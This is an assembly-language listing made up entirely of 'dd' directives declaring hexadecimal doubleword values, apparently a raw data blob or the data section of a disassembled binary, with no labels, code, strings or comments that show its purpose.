		dd 0C8158900h, 0C351904Dh, 2B8B05Ah, 0F7C4143Ah, 92E0254Ch
		dd 0CC0040B4h, 4E0745ADh, 195ED5D1h, 9E59A115h,	1A61E0D6h
		dd 1F6F3400h, 0E0962A3Eh, 0E22100BDh, 0DC7EB41Dh, 0A590CA49h
		dd 15B63601h, 0DAF8AF3Ch, 0E79820h, 290AC0F9h, 5235947Ch
		dd 47D3E0Fh, 0B4D2214h,	7816C03Ah, 946500BCh, 1DE49DB6h
		dd 0B100ADF9h, 31E5132Dh, 2FC3E88h, 1497E226h, 0B4805560h
		dd 0DF49A34Ch, 7C45E71Eh, 931ECB93h, 0DC014480h, 7AAA36h
		dd 0DD0E0956h, 77BD7BE3h, 0F20C733Ch, 98C3F000h, 0EF3B1920h
		dd 425F3DCBh, 0D67AAB0Fh, 0E0FE13A0h, 52008BEBh, 0E7181BFh
		dd 22DEED1h, 6F322687h,	0B080C475h, 3EF8FED7h, 481E9EE6h
		dd 8039ACCEh, 6CC463AEh, 2B7883h, 5EB33746h, 1B4F899Fh
		dd 71F77D00h, 0B9BE3BEEh, 7BCA1CBCh, 0B302842Fh, 67908057h
		dd 0A900BDF4h, 5D78D411h, 0C7F684h, 21B3F075h, 93569773h
		dd 0E0854601h, 0BB0142ABh, 1617D0C4h, 0B5857h, 0DEB4D854h
		dd 8A0041ADh, 0CB6BDBA9h, 0EE151726h, 0ABF200E1h, 0F4C6D232h
		dd 0DC0082D6h, 4914E753h, 3F0DEAEh, 76948CF1h, 9089E102h
		dd 0C14825FCh, 6A48601Dh, 60B1F316h, 4FD72C00h,	24C0DA9h
		dd 1EF6E4ACh, 4C488186h, 960012CBh, 454DE5FDh, 0D0C872h
		dd 0F334FE5Ch, 300F44C2h, 4EA86700h, 4910A7DEh,	0E5D40132h
		dd 71897AB3h, 0F9884052h
		dd 35E0DB5Fh, 0F5F0C972h, 0A2DDC303h, 988A7B49h, 0E0393Bh
		dd 0C7BB80D3h, 13058403h, 8E197E03h, 90AE7C37h,	5A1587h
		dd 0FA6BD9A0h, 0F50A6CBh, 14355C24h, 0B0F34701h, 6D20C4D2h
		dd 4F8E00A9h, 0FE065289h, 4CFA6E4Dh, 49ACF650h,	8B45CE3Ch
		dd 0D32382h, 0CFF03C3Bh, 778A00C6h, 224557Ah, 0B000CAD8h
		dd 1612623Ah, 3DC793C9h, 5980FB6Bh, 0AA98767Eh,	0AB0F9FC8h
		dd 0A0D8B051h, 3B73F4E2h, 723A1DE9h, 6290C0D5h,	98F695BCh
		dd 423D677Ch, 887500B0h, 0AC3259D1h, 71B900E2h,	2C83D52Fh
		dd 3B1CF0CFh, 3A55E0h, 0A4638D49h, 4C7943B8h, 0DA06D834h
		dd 296C289Fh, 8CD9F100h, 423E1424h, 0E2A00202h,	0B6D29B75h
		dd 8DC1F068h, 97666201h, 7564B2Bh, 7E0048B8h, 1D134A20h
		dd 6D00DA5Ch, 5EB03821h, 0F43C2h, 96A77E9Ch, 11AD6432h
		dd 0EFE78800h, 484B470h, 0EC7009Dh, 0FEE52E76h,	25021721h
		dd 0FC1A95ECh, 58EC4054h, 0D3F000B2h, 2970F133h, 0A51C6E80h
		dd 0D00010B7h, 7A85678Ah, 0C41A00FEh, 1B81688Fh, 1D00383Dh
		dd 63EF4E13h, 1E288523h, 7F5EBF73h, 9B31290h, 2FC9D39Fh
		dd 0F613008Ch, 83362Ah,	1E53CAC7h, 5481423Dh, 3ACD5E07h
		dd 0C684D1D3h, 0CF0E6480h, 57E694h, 95166DD6h, 0C307C017h
		dd 7BAE8A1Eh, 66019357h, 4EFD76BEh, 20BFC885h, 81D7C754h
		dd 538758FEh, 21DA9FBCh, 16B458C0h, 97C9801Eh, 0B7063C1h
		dd 0D9D4BABCh, 0C17B1Eh, 9FCA4C75h, 298238C0h, 0A8A47100h
		dd 36871112h, 6D20065h,	24D7DCC7h, 0EC009AF6h, 0A8124639h
		dd 4C9DFAD4h, 74007096h, 43AFDE4Ah, 93002B22h, 0B1E306E1h
		dd 0B085CDh, 0A3B4AB60h, 0F09474E9h, 19135094h,	0DFD1CA0Bh
		dd 0E1476C00h, 5F005EA0h, 0E5A61413h, 0B97F41h,	29A46573h
		dd 0C6693215h, 5B5F4200h, 0F1BEC052h, 284F03A8h, 0A5EC9741h
		dd 0E11173F8h, 0B0AE4507h, 20FF639h, 4360D351h,	0BC10A816h
		dd 69FB0564h, 0C5821Ch,	28EB0ABCh, 3303365Eh, 0E29E475Fh
		dd 0C1A0A7ADh, 0E5C568h, 7279CB81h, 0B99D8FCAh,	3ADE7600h
		dd 0FD80607Ch, 0A0F4F082h, 59B3A3C8h, 0E012D01Bh, 2708809Eh
		dd 0CD01C5F6h, 733705A2h, 5674094Ah, 79B2017Ah,	0F1B5E88Ch
		dd 1E2AC452h, 15000CB8h, 78B48E9Bh, 4BE0EDh, 887B19D8h
		dd 0E296DA43h, 0B979D107h, 1477354h, 5AA0C270h,	0B07E0035h
		dd 40C8068Ah, 3F0E7014h, 801B8E2Fh, 1C32616h, 2D940F29h
		dd 59E048DCh, 2BAE2272h, 9CE4B300h, 36AFF219h, 1710C22Eh
		dd 67C084BEh, 4F0005CEh, 4C9BC116h, 24FA15A8h, 39B0CAE2h
		dd 1C81D7BBh, 0EA68140h, 836800EAh, 43E40060h, 0D779E3C1h
		dd 47000B36h, 0D946CD26h, 1F74F131h, 0C011294Dh, 2D57D4B8h
		dd 70002FC8h, 0FF3CD8C2h, 28277F5h, 15DE8E83h, 6F0078E2h
		dd 3EB21446h, 0B4D63C59h, 0BF9CD102h, 0A442C871h, 85DA6CA0h
		dd 0CB07A3E3h, 84345F9Ah, 53AE1660h, 0F12E1E61h, 0E290C312h
		dd 6EB8DA1Bh, 49008D47h, 92C2271Ch, 3D370443h, 0BA023579h
		dd 31E8FB3h, 74280FFCh,	9551F00h, 0BDD31729h, 21E03CC1h
		dd 4A071638h, 1ADBE5CBh, 187100B5h, 5CCF906h, 34A41200h
		dd 0E3749FCDh, 5C0E073Bh, 70AF6FEFh, 0FF82159Eh, 9B1C0C00h
		dd 50DE7235h, 7F9400D8h, 0EFA5E3B3h, 0F8C03391h, 0BEAF3612h
		dd 0E67A0038h, 76405A0Ch, 3E1EEC99h, 0A0C0E245h, 71E0F8DAh
		dd 0C6521CACh, 1FB124EAh, 6FB8808Ch, 0FE186DB2h, 10B5EC00h
		dd 0DD0B2A21h, 6ED012E6h, 55D48CCBh, 39893Ch, 16EA7D0Fh
		dd 0F771FFh, 35C21FA8h,	11D5993Eh, 0E7CE3D00h, 3C9531A7h
		dd 0A84662F3h, 58E01D4Eh, 20173275h, 0E400A4A3h, 61A55971h
		dd 21410F07h, 3300D283h, 2A1E4A7Ch, 7E57ED17h, 11610C00h
		dd 0D5FF1Ah, 7CC54E5h, 559E8447h, 0D4C0C709h, 81BC02F3h
		dd 0C0A4EBE8h, 29580Fh,	48D99EE2h, 243DBD0h, 9B56AC00h
		dd 4FB44751h, 88270775h, 502A03B6h, 41B713A9h, 115F38h
		dd 19981A60h, 0F953C04h, 0D2DDA358h, 0C103E6E0h, 0C800F4CAh
		dd 63A7ED11h, 3EE0895h,	564A5DE1h, 0AAF8055Bh, 8D0CE5D7h
		dd 0B8A091EDh, 0CB4205ACh, 0C7AB9537h, 0F6B642A0h, 0E4268E00h
		dd 0D38F0015h, 0F12773Dh, 910057F9h, 0CCA3E180h, 0E28514D6h
		dd 0B9CF4CAFh, 20E2E400h, 607231FCh, 647A5Ch, 0A4785A24h
		dd 0D00669h, 834AE2E1h,	584FF22Bh, 29C84330h, 0D83792h
		dd 12DA4D45h, 61D09097h, 0A3BCD600h, 0A7CC07Eh,	2930008Bh
		dd 7F97D8C6h, 72F050F4h, 54C34207h, 98A6E7CDh, 8AF11F18h
		dd 38F2C02Bh, 597D53B2h, 46477500h, 321169BDh, 7853AF0h
		dd 0CA400FFh, 45FFDC73h, 8400ED58h, 0C60D38A6h,	7AE7E164h
		dd 5F36000Fh, 2391037Eh, 460148E9h, 372EF6D6h, 16E819E4h
		dd 2B43FB7h, 1E3FC200h,	5540A20Fh, 53BD6D01h, 0AA7E0892h
		dd 706430h, 15518B04h, 0C01D83CDh, 41D50E00h, 37A06B23h
		dd 5DBD0067h, 93A75724h, 87001488h, 0C18F3D98h,	9A0520h
		dd 318ACE1Eh, 8C9CF952h, 0F05A8800h, 0BDD90270h, 12421FC8h
		dd 0BFAD008Dh, 25BCF67Eh, 0D79091F8h, 26281D00h, 0D653AF51h
		dd 0E37900E2h, 600EB188h, 0C300E607h, 0F56D8EA2h, 1E2131Eh
		dd 0B696B858h, 404EC6ACh, 0ADF26B9Fh, 0BF7CD900h, 0C5E457F6h
		dd 0D7B101FEh, 241FCFEFh, 0D847F9F0h, 0D21C7026h, 0E90FCC66h
		dd 0A1BE065h, 0E01692h,	286DF348h, 0BD5F97B9h, 81366400h
		dd 1E87F8F4h, 0F5DB00C7h, 8C2A955Dh, 0F3FC836Dh, 4F150500h
		dd 7AFDA59Eh, 0D78A305Eh, 0B2F59C80h, 0C0811A03h, 0D1BE8C23h
		dd 1C24CA6Fh, 0A3200EEh, 70BAB57Ch, 6B263DA0h, 2000503Bh
		dd 9F88252Ch, 133A1C67h, 4F26DAh, 60955B8Ch, 52012AFDh
		dd 0AA686EBh, 20216C10h, 73004638h, 0B7AA87D1h,	0F6004306h
		dd 20858C36h, 0FAB59BBDh, 2926000Dh, 149C3AB8h,	0AF008FC1h
		dd 81D70170h, 0F37EE3h,	3F8431DEh, 4902722Ch, 3032B624h
		dd 0FEF4600Eh, 23341E00h, 8FB99Bh, 7811814Eh, 7EFCD802h
		dd 1A6BB712h, 65740Eh, 9683BA14h, 0D29B00C3h, 382923C6h
		dd 0FD3E53E1h, 101D00B6h, 3EEF64ADh, 8C40F5DEh,	0CEB763h
		dd 24CD4B78h, 0D565DB0Eh, 0EF2BBF00h, 7D3C6D84h, 20E11EAEh
		dd 4CD233h, 2641EBC9h, 931F089Ah, 0B471B32h, 72F0B788h
		dd 0F60C20h, 849748EAh,	0B11A3FA8h, 0F9CB5405h,	9000DD51h
		dd 64D741D1h, 34B95C15h, 0FE447800h, 0C5DCE9CBh, 925C5200h
		dd 0CCA0078Ch, 4241001Dh, 0B28B5634h, 0AB00089Fh, 3C17DCE1h
		dd 0F431BB26h, 0A0B5790Dh, 2BDADDACh, 0C0836Ch,	4B6578B1h
		dd 12076790h, 206AE3ADh, 0C0700B00h, 992200A4h,	0D24CF866h
		dd 0DC004836h, 7CA99354h, 18C76B2h, 0E1B790A8h,	0E83EEB3Bh
		dd 0C3007743h, 0FB21725Bh, 3CA6233h, 0DC1EE1F8h, 46E8C5BEh
		dd 0B1000B78h, 87AB2F29h, 9A7ACD2h, 7DDB6A7Ah, 1FF0C400h
		dd 0B600DEC1h, 0A31A4819h, 906170Ch, 6A969AF5h,	31B3000h
		dd 8724C924h, 650047C6h, 80418668h, 96E80CABh, 45DC90A4h
		dd 0D4151A00h, 89DAB45Ah, 3B5D018Ch, 402A39E7h,	0A0AFDCC5h
		dd 62952400h, 45331786h, 5EFB0CCAh, 3F90D20Bh, 7C59F301h
		dd 9A400898h, 60F49825h, 0A2F500A6h, 7B84FFD8h,	3554087Fh
		dd 0F5E86710h, 0F9F6AA40h, 0F1292BD0h, 7042F701h, 0BBF4D09Fh
		dd 94157300h, 7B894D3Fh, 8A180B69h, 36800685h, 131F78D2h
		dd 7B599360h, 0F707CEh
		dd 77213FE1h, 59D38C51h, 633A550Ah, 0A317A073h,	1C19EAACh
		dd 30A240FFh, 979E5F70h, 70908900h, 0C68289Ah, 81B82EC6h
		dd 63487580h, 8880007Dh, 24F4B91Dh, 9D920077h, 0B28E0DE8h
		dd 9300025Ah, 4381EC22h, 69CE99h, 0AF9F166Ah, 65CF68FEh
		dd 8CD4FA00h, 1B4DC4E1h, 0C5970380h, 25B98886h,	5FFEC7B8h
		dd 0A87F1E30h, 0B4E863h, 48AEABE9h, 42323E50h, 0E8FD34Ch
		dd 803CBCADh, 0A1E6FFD4h, 0D25E00BFh, 1091BA06h, 0BC00AF8Eh
		dd 218C709Bh, 66339423h, 977E907h, 0F8A3BC21h, 6C7E2404h
		dd 0E7405F85h, 7D68B8DAh, 181F6008h, 0F2193A3Ch, 0F5512200h
		dd 0A66B87CBh, 5980008Dh, 944A0835h, 3C180350h,	49291AECh
		dd 815A88C8h, 889B7E88h, 0AD8914AFh, 7D44E808h,	4328A072h
		dd 80189E1h, 667E44E6h,	0DFA114A0h, 80080589h, 443A7944h
		dd 0DD44D4AFh, 4964A0D9h, 82E8992h, 0BDF044C3h,	52ED14A0h
		dd 84625A40h, 20437422h, 8807CC91h, 0EF0AB88Eh,	0E25749E0h
		dd 0B3B50029h, 7C023CFBh, 0F81D0BBEh, 2503AFD6h, 0B03B558Dh
		dd 0BD0913E6h, 11995640h, 84A70300h, 1F1889E3h,	0F8BC3C31h
		dd 5332CA87h, 121770BBh, 0AD0B847Eh, 760D2B8h, 4A202017h
		dd 77D706FFh, 0E2DB03E3h, 2D40EC5h, 40C08990h, 0BE51BB00h
		dd 8E062C82h, 0F0D200DDh, 205D1AF7h, 0C300AEEEh, 849E27E8h
		dd 3D1CA5FBh, 7880D09Ah, 5737AB59h, 0BF00F8DFh,	0F1DC70C3h
		dd 775CE8F0h, 0FFE43EB5h, 0FC5B0680h, 0D3F73524h, 1FDFE00Bh
		dd 6C6100BFh, 0D60977h,	0AB7A6EB2h, 0C57B1C6Bh,	1DCABD00h
		dd 0D73E9ED5h, 1A4A004Ch, 594F9F43h, 8500453Ch,	0D2E22AE1h
		dd 0E41A375h, 0BFCB7ADFh, 2D05F7E0h, 710F1E32h,	80EE2A56h
		dd 0DE8F442Bh, 98D1039Bh, 0B7374CA3h, 0C1A48DE0h, 0F4E27EE0h
		dd 73DA7112h, 64AF6C05h, 0A0FE9500h, 51BCA4h, 0D8697A96h
		dd 46AC8152h, 0F36A3Fh,	0A33507Eh, 0DAB3FDh, 97397904h
		dd 0FF102401h, 7524E3Ch, 38A9CF42h, 0D05FC04Fh,	0A6C0F0h
		dd 0F31C118Fh, 321527EDh, 60D4E73Ah, 521DF520h,	0A36E0014h
		dd 0B41206EFh, 6600AB98h, 0BEEADCDEh, 0C43E39h,	0C5BB2C7h
		dd 881A9ED8h, 410F98F0h, 0A095FAD9h, 4881671Ch,	0A81400AEh
		dd 0C2245EACh, 4A00DBECh, 0AD48B41h, 8FAAD3h, 1760E4A1h
		dd 153991FEh, 2E1F03E0h, 0B040935Fh, 0BECFF9D0h, 21EE72h
		dd 5B96F139h, 4D862BCAh, 65001BEAh, 1E5A0F78h, 78DA4EEh
		dd 0F4EFF2DBh, 0BC7FA04Bh, 2100C26Eh, 0E3297CE7h, 5059ECA1h
		dd 0F415FA33h, 0CE450BB3h, 0A881213Eh, 600BF5C4h, 0F91F6477h
		dd 0BC8FACFDh, 52B500C5h, 4AD50h, 0D0B9AF1Ch, 1B580DD2h
		dd 0A9FCFA00h, 0D9910867h, 52A00EE9h, 9EA1EB71h, 0EC3BCF96h
		dd 14005824h, 107CC10Eh, 29AB87Fh, 0FF18214Bh, 92803213h
		dd 4AD28B9Fh, 0C1196400h, 3A750E9Eh, 0ACC300F1h, 37095A82h
		dd 8A0016BAh, 7DFB41A8h, 30EE2Ch, 0F999C962h, 0F61858E9h
		dd 2688D217h, 2BF07FBh,	0B0833694h, 5DCDA500h, 5BBEB249h
		dd 0F8E1C05Eh, 0D44F5C35h, 85C4B500h, 201BC383h, 0F9E4079Eh
		dd 0A0AC1F68h, 2D4DC208h, 4BFC8E00h, 0BDEF27E2h, 1D811DF7h
		dd 0CB91C306h, 55B8D3A0h, 0D800795Bh, 6A8FFFF3h, 0EC9E3Fh
		dd 0DBD4DC57h, 64D60656h, 0EDEBD301h, 14ABF49Ah, 38E8B03Ah
		dd 71E597Ch, 4080B693h,	0DAE177C2h, 80C031Dh, 26A9357Fh
		dd 78B0B88h, 37E02900h,	0DC1430C5h, 932F00C4h, 85059ABFh
		dd 7503B72Dh, 3EED8925h, 9B2080D8h, 0AE712638h,	3F95006Ch
		dd 0F057862h, 68392600h, 58A81FA3h, 9B4C07ECh, 304D0189h
		dd 447E3D4Fh, 0D0409800h, 20500902h, 43E0010h, 13AB536Ah
		dd 0D7E0293Bh, 57984A03h, 0B0F19BB8h, 3F02F4h, 0E059A779h
		dd 9D80B938h, 33CF70Fh,	60F1007Ch, 0C96D9Ah, 0BCC793CBh
		dd 0FCCF70A9h, 0B01E3338h, 1DC410BDh, 0A019E65Fh, 6575EEh
		dd 0A1D04ECEh, 426AB9CFh, 6F0C21F0h, 5061B6B1h,	534400AAh
		dd 0CD044C51h, 8600B2D9h, 0C374EDDBh, 0E8B325B8h, 30D61ED5h
		dd 40D05EC0h, 6A57A7DCh, 0A60AEACh, 90429589h, 0D44E0007h
		dd 0F9C937B4h, 0A03FE4FFh, 0B7688766h, 400E3D5Fh, 806027F0h
		dd 0E34D007Bh, 2CFD85D1h, 8D00156Fh, 6377E1A9h,	7CF96612h
		dd 0FEEC07F2h, 0B0A609C7h, 0DC29E085h, 43516803h, 0D8BF82B0h
		dd 0FA4A73CAh, 8A620040h, 65F9BE2Bh, 4607F303h,	1A3E8CB1h
		dd 93F04A20h, 60B00088h, 299C9574h, 220044F5h, 8B4B301Fh
		dd 0B267C4h, 0FC756C87h, 3F9CAFFAh, 0BB899D00h,	0C88A8A6h
		dd 0BD9A0997h, 3B00B626h, 69B03005h, 94241A70h,	14033137h
		dd 0F01C4890h, 0D59961h, 0C8F5ECE1h, 67C57749h,	8A4B3800h
		dd 0E2879725h, 1D840347h, 0ED2CAE31h, 8080AC82h, 4897575Dh
		dd 142BAA24h, 239C3E00h, 5EE80B7h, 26ED364Fh, 14EC004Bh
		dd 0D4A2D666h, 50B9BC3Fh, 9928F8E4h, 6E0EC406h,	0E0676ACCh
		dd 0F68A48F4h, 9713023Ah, 0B629FC24h, 0CE94DC80h, 0CF14326Ah
		dd 0D42B80h, 4D9F578Fh,	1D7AC1D8h, 80F27E1Dh, 0F5A7DA27h
		dd 88484770h, 0C3F3004Ch, 196738B6h, 0E47C00C4h, 5E265F71h
		dd 68602547h, 54BD3D6Ch, 9BE60Fh, 0D493FAE7h, 0E0F589ECh
		dd 651D68F8h, 0DDC3907Eh, 981E843Dh, 0D91FB7h, 716E9995h
		dd 0BDD3430Ch, 684D5B00h, 0E8560446h, 595C00B4h, 0FF3EA00Ah
		dd 0D12C8705h, 330068C3h, 0CAB8390Ch, 0CF5100D6h, 5738A85Ch
		dd 4A009E4Bh, 48687DFAh, 7824EFh, 9F3FE0A0h, 508FD925h
		dd 41373E07h, 0B8028C3h, 1EF73251h, 0C2A98A8Bh,	0DE626F3Ah
		dd 0CC4F2241h, 98001C16h, 668AB2C1h, 96762Bh, 6A7FF9FBh
		dd 77ED4B46h, 8C05DC70h, 88C75EE5h, 2CA980FAh, 6500A8C1h
		dd 0B78DB11Ch, 19E4D4h,	9F016A08h, 74267347h, 6D6C6200h
		dd 9C3FF645h, 6B7B07A9h, 8EA39986h, 6F47D140h, 98001B53h
		dd 0F98229DAh, 4D5502h,	0D8420CBCh, 0EFC62404h,	0A2CD6D00h
		dd 4BDCC9FDh, 7DFC00C1h, 51431D37h, 0F24D68Eh, 0AB1D0280h
		dd 0CCD773C0h, 14200848h, 9CBF6E41h, 0C6D58100h, 82788D2Ah
		dd 0B90C03EEh, 9AD02FF1h, 225B00C4h, 89B5AB23h,	6D005C21h
		dd 88661A35h, 5239D6h, 5EE2E5A5h, 3E18E4C3h, 831CC600h
		dd 119BDBF4h, 39B4017Bh, 3740D6A8h, 0E453C54Eh,	4700502Fh
		dd 116816A6h, 3D750CA0h, 58039B1h, 7A28FFFBh, 0B400339Ch
		dd 74813B29h, 70F5F1CBh, 4B58003Eh, 0DC92E623h,	0CA03033Fh
		dd 0E8ABB7Fh, 152CD8E4h, 3C9439EBh, 10C78E00h, 0DBEE2DDAh
		dd 0E478050Eh, 8565A01Fh, 7C3CCFB5h, 0B0310479h, 806A03B8h
		dd 2D0F27BEh, 0C05A240Fh, 0AC698095h, 24FCDC5Ch, 2509B5h
		dd 7F93EF70h, 8900D943h, 59C3C11Fh, 4CF48ADEh, 8B80085Fh
		dd 2D6E957Ah, 0FF4D3Fh,	969856E8h, 388F5746h, 138705Eh
		dd 0D8212E00h, 4B0E7710h, 0A2469C0Fh, 0AB6B56h,	82E124E7h
		dd 31B016B6h, 0CC9440A0h, 5450265Dh, 0A402BDE2h, 32022E2Ch
		dd 0C00EE0D9h, 0A2680052h, 9C486D8Bh, 15260A4Eh, 2B1FC081h
		dd 636100F8h, 0BE1FBDFBh, 861800E6h, 4766A87Fh,	9F00697Dh
		dd 0B128FD09h, 3DBF3615h, 5001C6Ah, 0F2CD63FAh,	3C0093E6h
		dd 0F7CE31DFh, 159575Ah, 0F046AA2Bh, 0C06F4FE4h, 6CB2B7E1h
		dd 72E725Ch, 92EDD10Eh,	0BEDE5C00h, 2D4004Dh, 0C7F07EB0h
		dd 59012236h, 0CB138EB4h, 20BAF1CDh, 3198CFBCh,	0F42006E7h
		dd 0C9152100h, 0EA5C04C2h
		dd 0ED945875h, 0EBAA7600h, 57514FD6h, 128F4600h, 2B290A14h
		dd 7C830090h, 30484EC7h, 0D60CFEACh, 0A8941720h, 4D4EC6Bh
		dd 74D71A2Bh, 0E58CC077h, 3D13D98Eh, 70005128h,	0F73B45E1h
		dd 82A53C26h, 0B3E9E000h, 755BCA30h, 47489361h,	19D49748h
		dd 2BF89F10h, 0DB1CCB00h, 821A13Ah, 9DED1643h, 40C41F68h
		dd 617A815h, 2047591h, 61A96CBDh, 2394F4C0h, 0ECFD4D72h
		dd 0C2DF7B07h, 442B9064h, 567940A5h, 0B54D900h,	0DA9EBF30h
		dd 0BB33265Fh, 0AC2500D7h, 399AF4BAh, 0B1A35701h, 0BBF56B7h
		dd 7401DCh, 0FE8B17C4h,	29521B35h, 94804500h, 0E85D43ABh
		dd 5CF27Bh, 3FB2644Ah, 0ADD704CAh, 812B8800h, 0A375273h
		dd 4DD901BBh, 6F4BAA6Ch, 61F44145h, 3C01E8E1h, 73976A03h
		dd 0A8E5F32Ah, 0CC0E37h, 207A689h, 6C5111F5h, 0B83B3601h
		dd 0D452C3Ah, 3B34B1ECh, 8A00C09Dh, 0FE375665h,	6090C92Eh
		dd 50168211h, 2827809Fh, 0BD5D5CC1h, 47A4C400h,	487672F6h
		dd 0CA100031h, 62E03997h, 1414A965h, 0A4053Ch, 0FEED9811h
		dd 153547h, 4E62537h, 0E74A9BA7h, 0FF7A9C00h, 0DACE7FEBh
		dd 0FE6F0ED3h, 664018C1h, 5A76B8F7h, 0A6A0D207h, 0A4A1DA91h
		dd 46C96B43h, 0B9648040h, 0F3700C9Bh, 0A771531Fh, 4BFA7803h
		dd 80F68177h, 1DBBDF39h, 40E7F05Fh, 0F9F57405h,	0C40090E3h
		dd 0D3ED6A2Dh, 2E2BEA75h, 60244A7Ah, 8E236CC6h,	0E459E216h
		dd 0F28E301Ch, 6747028Fh, 12E884C5h, 4DD51780h,	0FAA50C3Dh
		dd 0F59844C3h, 45720B04h, 28D7DE67h, 0FA80D05Ah, 501A68E6h
		dd 255300BDh, 4F720D04h, 880B5224h, 80A45181h, 0E4F92100h
		dd 0D6D1FDDh, 0CA138A93h, 0C28E04CCh, 693F204Eh, 3E07003Ah
		dd 0BB5FD7FBh, 2A2ED4EFh, 0D8803C12h, 72B7B4E9h, 0BDEE004Bh
		dd 4E258E7Eh, 0F301040Fh, 0D054B545h, 80204A53h, 74AE3C1Ch
		dd 0B1383980h, 0FB5CAB96h, 3BC6E5Ch, 3285F5D3h,	0B85805B2h
		dd 8006D549h, 0F87B8F67h, 4E37900h, 96D8C7A5h, 2BFA1EC6h
		dd 4ED10007h, 2AAB082Dh, 0EC3E3500h, 0B45C7871h, 8BCD0968h
		dd 0B8209343h, 0CC1C3767h, 4FFE500h, 40EB7836h,	7CB49096h
		dd 838E003Eh, 0BD3B80D9h, 6000B9Dh, 11DFE327h, 0B820E9h
		dd 0C15A81Ch, 0CF8C9B78h, 60198500h, 0D804AEDh,	1352683h
		dd 7DC013Ch, 0DD2A6FA8h, 8A287097h, 0B6476B17h,	88D27800h
		dd 0A7CB4Ah, 0EAB9606Ch, 78AEFA12h, 9C506400h, 0CFDB4CCh
		dd 0C0830059h, 7653E5BBh, 47129EECh, 8040FB5Fh,	0DD2EB733h
		dd 14C9FC37h, 9CB5CE5Bh, 0C0D4F71Ch, 0B10C871h,	0A006A3Bh
		dd 509899C4h, 0F5322Bh,	0B5C179FEh, 650DE6D9h, 2003054Bh
		dd 0D02DDF7Dh, 2435A4EDh, 0E81B171h, 7C4EC1h, 138F79CEh
		dd 8214AA11h, 0BE89057h, 5B7380Ah, 0E4C1931Bh, 2FC4F46Fh
		dd 0C5EC13h, 0A5EC249Bh, 75BC8FA8h, 0FCEA8D00h,	0AA5F3C88h
		dd 4DF0E0h, 0E3B56EC0h,	0FD29981Ah, 92F6600h, 6F6BF17Fh
		dd 4C2D7932h, 0A0000ED7h, 9E306459h, 0D0001ACBh, 0D353EF50h
		dd 347BF4Eh, 1E7D42F7h,	2A984525h, 690733F5h, 8C1516E3h
		dd 3E584070h, 63303053h, 5F615938h, 0A0B2E614h,	77BC0387h
		dd 0F8188AE2h, 468570h,	0EC8F4191h, 0F67A162Fh,	60DAB300h
		dd 0FB18F2AAh, 0B993A20h, 6D077EBEh, 32D98D57h,	0B16089CDh
		dd 0C8002FC1h, 7AB00569h, 2EA9F8h, 32BC7D70h, 8C7F3B86h
		dd 5400D271h, 4D1E27D4h, 3DFC9BEh, 66F2A59Eh, 19C04F73h
		dd 0E000569Fh, 0A0308F51h, 1D012DB4h, 563C881h,	805AF0DBh
		dd 593B8251h, 0FC764FECh, 0D5583E00h, 63D05DC5h, 0A0E1001Ch
		dd 611ECD64h, 0FEF0CE81h, 0A6BF7E00h, 7208931Ah, 4B830E1Dh
		dd 80601432h, 0C40C84F4h, 9FBBA00h, 0C0D786E4h,	3D61093Ch
		dd 5F8020D9h, 0B6FE4C95h, 32D4DE0Fh, 0DB04EEC9h, 0CC8EB890h
		dd 213F0061h, 0C1D553ABh, 8207E5D2h, 0B9EF4E80h, 0E4B3D310h
		dd 492B0062h, 0C89949Ch, 400DA5Bh, 0F28DC069h, 7766520h
		dd 5422799Fh, 4A77E6h, 648AC3CDh, 0CB3EC91Eh, 803070F2h
		dd 525F4E80h, 0DFE800FEh, 81AE897Dh, 0E201E0F2h, 0EF6F346Bh
		dd 144B972Ch, 373D007Fh, 0F866F628h, 3A00E74Dh,	7BA6530Ch
		dd 2B4C7Eh, 5F162377h, 1F5A5EB3h, 2D2A2914h, 89700EB0h
		dd 16C3C0CCh, 0E68012E7h, 289F004Fh, 0AC8713BDh, 9AF6FD23h
		dd 2B0B1500h, 0CCC1BB05h, 0CD9E0F64h, 0DEE0601Fh, 27210C25h
		dd 11E6FF00h, 0BDD0C8BAh, 9E940096h, 4D71A1ABh,	94906B9Dh
		dd 1CAA0B00h, 0D37CFA81h, 48E80042h, 21D833A3h,	0C05128Dh
		dd 623CDDADh, 0B480B485h, 0FBA214h, 0A5C473FFh,	34276F8Bh
		dd 1D938600h, 0FD8A2C91h, 5B1A0460h, 9CD82FBFh,	2371EA28h
		dd 0D6273202h, 81F946FEh, 9F88BDF4h, 7B790CCCh,	0A76D0782h
		dd 0C1D0AEADh, 0D4412956h, 4E7D50C1h, 96B75A00h, 74A72D33h
		dd 56C03E36h, 94EB9D87h, 0FC70D0F1h, 3D00F098h,	78424995h
		dd 0C1FAA1B9h, 872C7C68h, 9AD840E3h, 8D002ECCh,	0A93F8619h
		dd 919450h, 0C4D058E5h,	4B1528F0h, 6A06892Eh, 4CDD5700h
		dd 859C4Eh, 4AA3C6D7h, 8BBFED52h, 0BD14C803h, 0C03B562Dh
		dd 24A0C333h, 28E499h, 0F657B344h, 2028C46Ch, 78F8F9A5h
		dd 0B5651200h, 8AF2822Ah, 14F31F1Ch, 826EDC56h,	28200F30h
		dd 0B8A8BDC3h, 0BB00ADCEh, 2B5F5B91h, 0B15086h,	0E39571E4h
		dd 964A2189h, 3200DFE2h, 0E678D9D4h, 4933C3h, 40592D38h
		dd 1E5603A8h, 0E100E4F0h, 0D93CD787h, 98396Fh, 0DB667281h
		dd 941B963h, 762D8F0Eh,	0E1F800C6h, 0A01ACE22h,	1F1DBD7h
		dd 19C58354h, 0C441B166h, 0C3029AC8h, 0D23AFF79h, 0DDFBE01Ah
		dd 638807C7h, 139C3B7Ch, 19F889CFh, 681CC0B0h, 39C0E7A5h
		dd 585F9279h, 7D3B00F9h, 0AA0F861Ah, 0F400BCFEh, 7AAC7C2Dh
		dd 7BC1FB4Eh, 38636072h, 5421F829h, 79901C4Ch, 61664500h
		dd 654E35EFh, 627C00B0h, 3D393A20h, 40CE7A8h, 0A808C416h
		dd 37D3006Ah, 1591A45Eh, 1400D2B2h, 399B27FEh, 43D9A6h
		dd 88E2AB9Dh, 0D5A529A4h, 0EFFD6A0Eh, 1A075F4Fh, 0F433C0BFh
		dd 216ED95Ah, 76F3A0DCh, 49000E1h, 983C8ACEh, 2A00268Fh
		dd 1CF95FADh, 0DC58B9h,	99813E21h, 75460810h, 1A978800h
		dd 0F7AB723Fh, 0FB2100A9h, 766D8EA3h, 0B509EED8h, 0E6CC8Bh
		dd 680C4625h, 7DFD00EAh, 43F7C3F4h, 940095FEh, 6F3CD428h
		dd 0F6B688h, 0FBB9204Dh, 2B43EF12h, 0D323C900h,	5863925Bh
